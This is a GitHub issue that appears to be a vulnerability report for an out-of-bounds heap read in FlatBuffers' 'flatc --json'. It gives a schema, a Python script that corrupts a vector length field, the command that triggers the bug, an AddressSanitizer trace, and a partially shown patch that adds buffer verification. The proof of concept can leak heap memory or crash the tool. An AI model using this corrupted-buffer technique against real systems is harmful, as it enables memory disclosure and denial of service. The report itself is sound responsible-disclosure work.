Skip to content

Out-of-Bounds Heap Read in flatc --json #9051

@emptyiscolor

Description

@emptyiscolor

AI was utilized for refinement and linguistic polishing of this report.

Summary

Out-of-Bounds Heap Read / Info Disclosure in flatc --json (Unverified Buffer Traversal)

CWE: CWE-125 (Out-of-bounds Read)
Affected versions: Tested on commit e223d69b (flatc version 25.12.19)

When converting a binary FlatBuffer to JSON, flatbuffers::GenText() trusts serialized vector length fields without first running the buffer through flatbuffers::Verifier.

Because Vector::Get() relies on FLATBUFFERS_ASSERT for bounds checking (which is stripped in release builds for performance), an attacker can provide a binary with a valid file_identifier but a corrupted vector length. flatc will accept the file normally and read far past the vector's allocation.

Impact

In a standard release build, flatc --json silently reads unmapped or out-of-bounds heap memory and formats it as standard integer array elements in the resulting JSON file. This results in explicit Information Disclosure with no warning to the user. It can also cause a SIGSEGV if the read hits unmapped memory.

Reproduction Steps

This requires no custom C++ code—only the stock flatc release build.

1. Create a schema and valid data:

// oob_read.fbs
table Root { items: [int]; }
root_type Root;
file_identifier "EXMP";
// valid.json
{ "items": [11, 22, 33] }

Compile to a valid 40-byte binary: flatc -b oob_read.fbs valid.json

2. Corrupt the vector length (Python):

import struct

with open("valid.bin", "rb") as f: buf = bytearray(f.read())

# Standard FlatBuffer traversal to locate the vector
root_offset = struct.unpack_from("<I", buf, 0)[0]
vtable_soffset = struct.unpack_from("<i", buf, root_offset)[0]
field0_voff = struct.unpack_from("<H", buf, root_offset - vtable_soffset + 4)[0]
vec_pos = root_offset + field0_voff + struct.unpack_from("<I", buf, root_offset + field0_voff)[0]

# Overwrite vector length from 3 to 9999
struct.pack_into("<I", buf, vec_pos, 9999)

with open("corrupt.bin", "wb") as f: f.write(buf)

3. Trigger the leak/crash:

flatc --json oob_read.fbs -- corrupt.bin

ASan Stack Trace

When compiled with AddressSanitizer, flatc explicitly catches the OOB read:

==PID==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x...
READ of size 4 at 0x... thread T0
    #0 flatbuffers::Vector<int, unsigned int>::operator[](unsigned int) const [vector.h:199]
    #1 flatbuffers::JsonPrinter::PrintContainer<...>(...) [idl_gen_text.cpp:117]
    #2 flatbuffers::JsonPrinter::PrintOffset(...)
    #3 flatbuffers::JsonPrinter::GenStruct(...)
    #4 flatbuffers::GenerateTextImpl(...) [idl_gen_text.cpp:383]

Root Cause & Proposed Fix

The core issue is in src/idl_gen_text.cpp, where GenText() iterates for (SizeT i = 0; i < size; i++) based on the unverified size parameter from the buffer.

To harden GenText() against corrupt-buffer bugs without impacting the zero-copy performance of the core Vector headers, GenText() should explicitly verify buffer integrity before traversal.

Suggested Patch:

--- a/src/idl_gen_text.cpp
+++ b/src/idl_gen_text.cpp
@@ -418,6 +418,11 @@
 const char* GenText(const Parser& parser, const void* flatbuffer,
                     std::string* _text) {
   FLATBUFFERS_ASSERT(parser.root_struct_def_);
+  
+  // Verify buffer integrity before traversal to prevent OOB reads.
+  flatbuffers::Verifier verifier(static_cast<const uint8_t*>(flatbuffer), parser.builder_.GetSize());
+  if (!verifier.VerifyBuffer<Table>(nullptr)) return "buffer verification failed";
+  
   auto root = parser.opts.size_prefixed

attachment.zip

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions